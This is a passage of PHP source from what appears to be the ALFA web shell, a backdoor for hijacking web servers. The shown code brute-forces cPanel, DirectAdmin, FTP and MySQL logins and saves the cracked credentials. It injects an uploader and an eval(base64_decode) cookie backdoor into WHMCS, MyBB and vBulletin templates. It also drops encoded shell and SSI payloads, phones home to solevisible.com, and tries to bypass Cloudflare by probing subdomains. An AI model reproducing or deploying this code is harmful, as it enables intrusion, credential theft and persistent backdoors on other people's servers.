echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
$username = ($_POST['alfa3']);
$password = ($_POST['alfa4']);
$dbname = ($_POST['alfa5']);
$dfile = ($_POST['alfa6']);
$host = ($_POST['alfa7']);
if(!empty($dbname)){
echo __pre();
$msg = "<center>Check this :  <font color='red'>".$dfile."</font></center>";
if(@mysqli_connect($host,$username,$password,$dbname)){
if(strlen(alfaEx("mysqldump"))>0){
alfaEx("mysqldump --single-transaction --host=\"$host\" --user=\"$username\" --password=\"$password\" $dbname > '".addslashes($dfile)."'");
echo($msg);
}else{
__alert("Error...!");
}
}else{
echo('<center>mysqli_connect : Error!</center>');
}
}
echo('</div>');
alfafooter();
}
function Alfa_DirectAdmin_Cracker($info){
if(!$info['mysql'])
$url = $info['protocol'].$info['target'].':'.$info['port'].'/CMD_LOGIN';
else $url = $info['protocol'].$info['target'].'/phpmyadmin';
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_USERPWD, $info['username'].':'.$info['password']);
if($info['mysql'])curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
elseif(preg_match('/CMD_FILE_MANAGER|frameset/i',$result)){
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green">  Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_CP_Cracker($info){
$url = $info['protocol'].$info['target'].':'.$info['port'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info['username'].":".$info['password']) . "\n\r"));
curl_setopt($curl, CURLOPT_URL, $url);
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
elseif(preg_match('/filemanager/i',$result)){
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green">  Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_FTP_Cracker($info){
$url = $info['protocol'].$info['target'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_USERPWD, "".$info['username'].":".$info['password']."");
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
elseif(preg_match('/(\d+):(\d+)/i',$result)){
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green">  Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_Mysql_Cracker($info){
if(@mysqli_connect($info['target'].':'.$info['port'],$info['username'],$info['password'])){
CrackerResualt($info);
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green">  Login Success....</font><br>';
}
}
function Alfa_FTPC($info){
if($con=@ftp_connect($info['target'],$info['port'])){
if($con){
$login=@ftp_login($con,$info['username'],$info['password']);
if($login){CrackerResualt($info);}}}
@ftp_close($con);
}
function CrackerResualt($info){
$res = $info['target'].' => '.$info['username'].":".$info['password']."\n" ;
$c = @fopen($info['fcrack'],'a+');
@fwrite($c, $res);
@fclose($c);
}
function Alfa_Call_Function_Cracker($method,$info){
switch($method){case 'cp':return Alfa_CP_Cracker($info);break;case 'direct': case 'phpmyadmin':return Alfa_DirectAdmin_Cracker($info);break;case 'ftp':return Alfa_FTP_Cracker($info);break;case 'mysql':return Alfa_Mysql_Cracker($info);break;case 'mysql':return Alfa_FTPC($info);break;}
}
function alfaCrackers(){
alfahead();
AlfaNum(9,10);
echo '<div class="header"><center><br><div class="txtfont_header">| Brute Forcer |</div><br><br><form method="post" onsubmit="g(\'Crackers\',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,\'start\',this.protocol.value,this.loginpanel.value);return false;"><div class="txtfont">Login Page: <select onclick="dis_input(this.value);" name="loginpanel">';
foreach(array('cp'=>'Cpanel','direct'=>'DirectAdmin','ftp'=>'FTP','phpmyadmin'=>'PhpMyAdmin[DirectAdmin]','mysql'=>'mysql_connect()','ftpc'=>'ftp_connect()') as $key=>$val)echo('<option value="'.$key.'">'.$val.'</option>');
echo '</select> Protocol: <select id="protocol" name="protocol">';
foreach(array('https://','http://','ftp://') as $val)echo('<option value="'.$val.'">'.$val.'</option>');
echo '</select> Website/ip Address: <input id="target" type="text" name="target" value="localhost">
Port: <input id="port" type="text" name="port" value="2083">
<table width="30%"><td align="center">Users List</td><td align="center">Passwords</td></table>
<textarea placeholder="Users" rows="20" cols="25" name="usernames">'.($GLOBALS['sys']=='unix'?alfaEx("cut -d: -f1 /etc/passwd"):"").'</textarea>
&nbsp <textarea placeholder="Passwords" rows="20" cols="25" name="passwords"></textarea><br><br>
Save Result Into File <input type="text" name="fcrack" value="cracked.txt">
<p><input type="submit" name="cracking" value=" " /></div></form></p><center>';
$target = str_replace(array('https://','http://','ftp://'),'',$_POST['alfa1']);
$port = $_POST['alfa2'];
$usernames= $_POST['alfa3'];
$passwords = $_POST['alfa4'];
$fcrack = $_POST['alfa5'];
$cracking = $_POST['alfa6'];
$protocol = $_POST['alfa7'];
$loginpanel = $_POST['alfa8'];
$p = $loginpanel == 'phpmyadmin' ? $p = true : false;
if($cracking=='start'){
echo __pre();
$exuser = explode("\n",$usernames);
$expw = explode("\n",$passwords);
foreach($exuser as $user){
foreach($expw as $pw){
$array = array('username' => trim($user),'password' => trim($pw),'port' => trim($port),'target' => trim($target),'protocol' => trim($protocol),'fcrack' => trim($fcrack),'mysql' => $p);
Alfa_Call_Function_Cracker($loginpanel,$array);
}
}
echo '<br><font color="red">Attack Finished...</font>';
}
echo '</div>';
alfafooter();
}
function output($string){ echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='".$string."'>Click Here !</a></font></b></center><br><br>";}
function alfaShellInjectors(){
alfahead();
echo '<div class=header>';
AlfaNum(11);
echo '<center><p><div class="txtfont_header">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,\'whmcs\',null)">| WHMCS | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,\'mybb\')">| MyBB | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,null,\'vb\')">| vBulletin |</a></h3></center>';
$selector = '<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>';
if(isset($_POST['alfa1']) && $_POST['alfa1']== 'whmcs'){
AlfaNum();
echo __pre()."<p><div class='txtfont_header'>| WHMCS |</div></p><center><center><p>".getConfigHtml('whmcs')."</p><form onSubmit=\"g('ShellInjectors',null,'whmcs',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\" method='post'>";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Path WHMCS Url : ', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'Mysql Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db User : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Db Pass : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo "<p><input type='submit' value=' '></p></form></center></td></tr></table></center>";
if(isset($_POST['alfa6'])) {
$dbu = $_POST['alfa6'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$path = $_POST['alfa10'];
$method = $_POST['alfa4'];
$index = "{php}".ALFA_UPLOADER.";{/php}";
$newin = str_replace("'","\'",$index);
$newindex = "<p>Dear $newin,</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}";
if(!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)){
if(filter_var($path,FILTER_VALIDATE_URL)){
$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_connect_error());
$soleSave= mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'");
$soleGet = mysqli_fetch_assoc($soleSave);
$tempSave1 = $soleGet['message'];
$tempSave = str_replace("'","\'",$tempSave1);
mysqli_query($conn,"UPDATE tblconfiguration SET value = '1' WHERE setting = 'AllowSmartyPhpTags'") or die (mysqli_error($conn));
$inject = "UPDATE tblemailtemplates SET message='$newindex' WHERE name='Password Reset Validation'";
$result = mysqli_query($conn,$inject) or die (mysqli_error($conn));
$create = "insert into tblclients (email) values('solevisible@fbi.gov')";
$result2 = mysqli_query($conn,$create) or die (mysqli_error($conn));
if(function_exists('curl_version') && $method == 'auto'){
$AlfaSole = new AlfaCURL(true);
$saveurl = $AlfaSole->Send($path."/pwreset.php");
$getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");
$backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
__alert("shell injectet...");
$ff= 'http://'.$path."/solevisible.php";
output($ff);}else{
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target => </font><a href='".$path."/pwreset.php' target='_blank'>".$path."/pwreset.php</a><br/><font color='#FFFFFF'> And Reset Password With Email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color='#FFFFFF'>And Go To => </font><a href='".$path."/solevisible.php' target='_blank'>".$path."/solevisible.php</a></b></center><br><br>";}}else{__alert('Path is not Valid...');}}}
}if(isset($_POST['alfa2']) && $_POST['alfa2']== 'mybb'){
AlfaNum(1,2,3,5);
echo __pre()."<p><div class='txtfont_header'>| MyBB |</div></p><center><center>".getConfigHtml("mybb")."<form id='sendajax' onSubmit=\"g('ShellInjectors',null,null,'mybb',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\" method=POST>
";
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'dbh', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'dbn', 'id'=>'db_name' ,'inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'dbu', 'id'=>'db_user', 'inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'dbp', 'id'=>'db_pw', 'inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'prefix', 'id'=>'db_prefix','inputValue' => 'mybb_', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo "<p><input type=submit value=' '></p></form></center></center>";
if(isset($_POST['alfa6'])) {
$dbu = $_POST['alfa6'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$method = $_POST['alfa4'];
$shellCode = "{\${".ALFA_UPLOADER."}}";
$newinshell = str_replace("'","\'",$shellCode);
if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)){
$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$inject = "select template from {$prefix}templates where  title= 'calendar'";
$result = mysqli_query($conn, $inject) or die (mysqli_error($conn));
$GetTemp = mysqli_fetch_assoc($result);
$saveDate = $GetTemp['template'];
$repsave = str_replace($shellCode,"",$saveDate);
$repsave = str_replace("'","\'",$repsave);
$createShell = "update {$prefix}templates SET template= '".$newinshell.$repsave."' where title = 'calendar'";
$result2 = mysqli_query($conn,$createShell) or die (mysqli_error($conn));
$geturl = "select value from {$prefix}settings where name= 'bburl'";
$findurl = mysqli_query($conn,$geturl) or die (mysqli_error($conn));
$rowb = mysqli_fetch_assoc($findurl);
$furl = $rowb['value'];
$realurl = parse_url($furl,PHP_URL_HOST);
$realpath = parse_url($furl,PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto' ){
if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
@fputs($fsock, "GET $realpath/calendar.php HTTP/1.1\r\n");
@fputs($fsock, "HOST: $realurl\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");
$check = fgets($fsock);
if(preg_match("/200 OK/i",$check)){
$repairdbtemp = "update {$prefix}templates SET template= '$repsave' where title = 'calendar'";
$clear = mysqli_query($conn,$repairdbtemp) or die (mysqli_error($conn));$res = true;}
@fclose($fsock);}}elseif(function_exists('curl_version') && $method == 'auto'){
$AlfaCurl->Send($realurl.$realpath."/calendar.php");
$res = true;
}
if($res){
$ff = 'http://'.$realurl.$realpath."/solevisible.php";
output($ff);
}else{
$ff = 'http://'.$realurl.$realpath."/calendar.php";
$fff = 'http://'.$realurl.$realpath."/solevisible.php";
echo "<br><pre id='strOutput' style='margin-top:5px' class='ml1'><br><center><b><font color='#FFFFFF'>Please Go To Target => </font><a href='".$ff."' target='_blank'>".$ff."</a><br/><font color='#FFFFFF'>And Go To => </font><a href='".$fff."' target='_blank'>".$fff."</a></b></center><br><br>";
}}}}
if(isset($_POST['alfa3']) && $_POST['alfa3']== 'vb'){
AlfaNum(1,2,7,9,10);
echo __pre().'<p><div class="txtfont_header">| vbulletin |</div></p><p>'.getConfigHtml('vb').'</p><form name="frm" method="POST" onsubmit="g(\'ShellInjectors\',null,null,this.lo.value,\'vb\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">';
$table = array('td1' =>
 array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'lo', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
 'td2' =>
 array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'db', 'id'=>'db_name','inputValue' => '', 'inputSize' => '50'),
 'td3' =>
 array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'user', 'id'=>'db_user','inputValue' => '', 'inputSize' => '50'),
 'td4' =>
 array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'pass', 'id'=>'db_pw','inputValue' => '', 'inputSize' => '50'),
 'td5' =>
 array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'tab', 'id'=>'db_prefix','inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo '<p><input type="submit" value=" " /></p></form></center>';
if(isset($_POST['alfa4'])&&!empty($_POST['alfa4'])){
$method = $_POST['alfa8'];
$faq_name = "faq";
$faq_file = "/faq.php";
$code = "{\${".ALFA_UPLOADER."}}{\${exit()}}&";
$conn=@mysqli_connect($_POST['alfa2'],$_POST['alfa4'],$_POST['alfa5'],$_POST['alfa7']) or die(@mysqli_connect_error());
$rec = "select `template` from ".$_POST['alfa6']."template WHERE title ='".$faq_name."'";
$recivedata = @mysqli_query($conn,$rec);
$getd = @mysqli_fetch_assoc($recivedata);
$savetoass = $getd['template'];
if(empty($savetoass)){
	$faq_name = "header";
	$faq_file = "/";
	$rec = "select `template` from ".$_POST['alfa6']."template WHERE title ='".$faq_name."'";
	$recivedata = @mysqli_query($conn,$rec);
	$getd = @mysqli_fetch_assoc($recivedata);
	$savetoass = $getd['template'];
	$code = ALFA_UPLOADER.";";
}
$code = str_replace("'","\'",$code);
$p = "UPDATE ".$_POST['alfa6']."template SET `template`='".$code."' WHERE `title`='".$faq_name."'";
$ka= @mysqli_query($conn,$p) or die(mysqli_error($conn));
$geturl = @mysqli_query($conn,"select `value` from ".$_POST['alfa6']."setting WHERE `varname`='bburl'");
$getval = @mysqli_fetch_assoc($geturl);
$saveval = $getval['value'];
if($faq_name == "header"){
	if(substr($saveval, -5, 5) == "/core"){
		$saveval = substr($saveval, 0, -5);
	}
}
$realurl = parse_url($saveval,PHP_URL_HOST);
$realpath = parse_url($saveval,PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if(extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto'){
if($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
@fputs($fsock, "GET $realpath.$faq_file HTTP/1.1\r\n");
@fputs($fsock, "HOST: $realurl\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");
$check = fgets($fsock);
if(preg_match("/200 OK/i",$check)){
$p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'";
$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
$res = true;
}
@fclose($fsock);
}
}elseif(function_exists('curl_version') && $method == 'auto'){
$AlfaCurl->Send($realurl.$realpath.$faq_file);
$p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'";
$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
$res = true;
}
if($res){
$ff = 'http://'.$realurl.$realpath."/solevisible.php";
output($ff);
}else{
$ff = 'http://'.$realurl.$realpath.$faq_file;
$fff = 'http://'.$realurl.$realpath."/solevisible.php";
echo "<center><p><font color=\"#FFFFFF\">First Open This Link => </font><a href='".$ff."' target='_blank'>".$ff."</a><br/><font color=\"#FFFFFF\">Second Open This Link => </font><a href='".$fff."' target='_blank'>".$fff."</a></center></p>";}}}
echo '</div>';
alfafooter();
}
function alfacheckfiletype(){
	$path = $_POST['path'];
	$arg = $_POST['arg'];
	if(@is_file($path.'/'.$arg)){
		echo("file");
	}else{
		echo("dir");
	}
}
function alfacheckupdate(){
	if($GLOBALS["DB_NAME"]["cgi_api"]){
		if(!isset($_COOKIE["alfacgiapi_mode"])&&!isset($_COOKIE["alfacgiapi"])){
			_alfa_cgicmd("whoami","perl",true);
			if(strlen(alfaEx("whoami",false,true))>0){
				__alfa_set_cookie("alfa_canruncmd", "true");
			}
		}
	}
	if(function_exists("curl_version")){
		$update = new AlfaCURL();
		$json = $update->Send("http://solevisible.com/update.json?ver=".__ALFA_VERSION__);
		$json = @json_decode($json,true);
		$data = array();
		if($json){
			if(!isset($_COOKIE['alfa_checkupdate']) && !empty($json["type"])){
				if($json["type"] == "update"){
					if(__ALFA_VERSION__ != $json['version'] || __ALFA_UPDATE__ != $json['version_number']){
						@setcookie("alfa_checkupdate", "1", time()+86400);
						$data["content"] = '<div class="update-holder">'.$json["content"].'</div>';
					}
				}
			}
			if(isset($json["ads"]) && !empty($json["ads"])){
				$data["content"] .= $json["ads"];
			}
			if(isset($json["copyright"]) && !empty($json["copyright"])){
				$data["copyright"] = $json["copyright"];
			}
			if(isset($json["solevisible"]) && !empty($json["solevisible"])){
				$data["solevisible"] = $json["solevisible"];
			}
			if(isset($json["code_name"]) && !empty($json["code_name"])){
				$data["code_name"] = $json["code_name"];
				$data["version_number"] = __ALFA_VERSION__;
			}
			if(isset($json["market"]) && !empty($json["market"])){
				$data["market"] = $json["market"];
			}
			echo @json_encode($data);
		}
	}
}
function alfaWriteTocgiapi($name, $source){
	$temp = "";
	$not_api = array("basedir.alfa", "getdir.alfa", "getheader.alfa");
	if(in_array($name, $not_api)){
		$temp = ALFA_TEMPDIR;
		if($temp){
			@chdir($temp);
		}
	}else{
		alfaCreateParentFolder();
		@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
	}
	@mkdir('alfacgiapi',0755);
	__write_file("alfacgiapi/".$name, __get_resource($source));
	@chmod("alfacgiapi/".$name, 0755);
	return $temp;
}
function alfacheckcgi(){if(strlen(alfaEx("id",false,true,true))>0)echo("ok");else echo("no");}
function alfaupdateheader(){
	if(!isset($_COOKIE["updateheader_data"])){
		$bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";
		$realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));
		$tmp_path = alfaWriteTocgiapi("getheader.alfa",$bash);
		$data = alfaEx("cd '{$tmp_path}/alfacgiapi';sh getheader.alfa",false,true,true);
		if(@is_array(@json_decode($data,true))){
			__alfa_set_cookie("updateheader_data", __ZW5jb2Rlcg($data));
			echo $data;
		}
	}else{
		echo __ZGVjb2Rlcg($_COOKIE["updateheader_data"]);
	}
}
function alfassiShell(){
alfahead();
echo '<div class=header>';
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
@mkdir('alfa_shtml',0755);
@chdir('alfa_shtml');
alfacgihtaccess('shtml');
$code = 'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw==';
@__write_file('alfa_ssi.shtml',__get_resource($code));
@chmod("alfa_ssi.shtml",0755);
echo AlfaiFrameCreator('alfa_shtml/alfa_ssi.shtml');
echo '</div>';
alfafooter();
}
function alfacloudflare(){
alfahead();
AlfaNum(8,9,10,7,6,5,4,3);
echo "<div class=header><center><br><div class='txtfont_header'>| Cloud Flare ByPasser |</div><br><form action='' onsubmit=\"g('cloudflare',null,this.url.value,'>>'); return false;\" method='post'>
<p><div class='txtfont'>Target:</div> <input type='text' size=30 name='url' style='text-align:center;' placeholder=\"target.com\"> <input type='submit' name='go' value=' ' /></p></form></center>";
if($_POST['alfa2'] && $_POST['alfa2'] == '>>'){
$url = $_POST['alfa1'];
if(!preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url)){
$url = preg_replace('/^(https?):\/\//', '', $url);
$url = "http://www.".$url;
}
$headers = @get_headers($url, 1);
$server = $headers['Server'];
$subs = array('owa.','2tty.','m.','gw.','mx1.','store.','1','2','vb.','news.','download.','video','cpanel.', 'ftp.', 'server1.', 'cdn.', 'cdn2.', 'ns.', 'ns3.', 'mail.', 'webmail.', 'direct.', 'direct-connect.', 'record.', 'ssl.', 'dns.', 'help.', 'blog.', 'irc.', 'forum.', 'dl.', 'my.', 'cp.', 'portal.', 'kb.', 'support.','search.', 'docs.', 'files.', 'accounts.', 'secure.', 'register.', 'apps.', 'beta.', 'demo.', 'smtp.', 'ns2.', 'ns1.', 'server.', 'shop.', 'host.', 'web.', 'cloud.', 'api.', 'exchange.', 'app.', 'vps.', 'owa.', 'sat.', 'bbs.', 'movie.', 'music.', 'art.', 'fusion.', 'maps.', 'forums.', 'acc.', 'cc.', 'dev.', 'ww42.', 'wiki.', 'clients.', 'client.','books.','answers.','service.','groups.','images.','upload.','up.','tube.','users.','admin.','administrator.','private.','design.','whmcs.','wp.','wordpress.','joomla.','vbulletin.','test.','developer.','panel.','contact.');
if(preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url, $matches)){
if($matches[2] != 'www'){$url = preg_replace('/^(https?):\/\//', '', $url);}else{
$url = explode($matches[0], $url);
$url = $url[1];}}
if(is_array($server))$server = $server[0];
echo __pre();
if(preg_match('/cloudflare/i', $server))
echo "\n[+] CloudFlare detected: {$server}\n<br>";
else
echo "\n[+] CloudFlare wasn't detected, proceeding anyway.\n";
echo '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . "\n\n<br><br>";
echo "[+] Searching for more IP addresses.\n\n<br><br>";
for($x=0;$x<count($subs);$x++){
$site = $subs[$x] . $url;
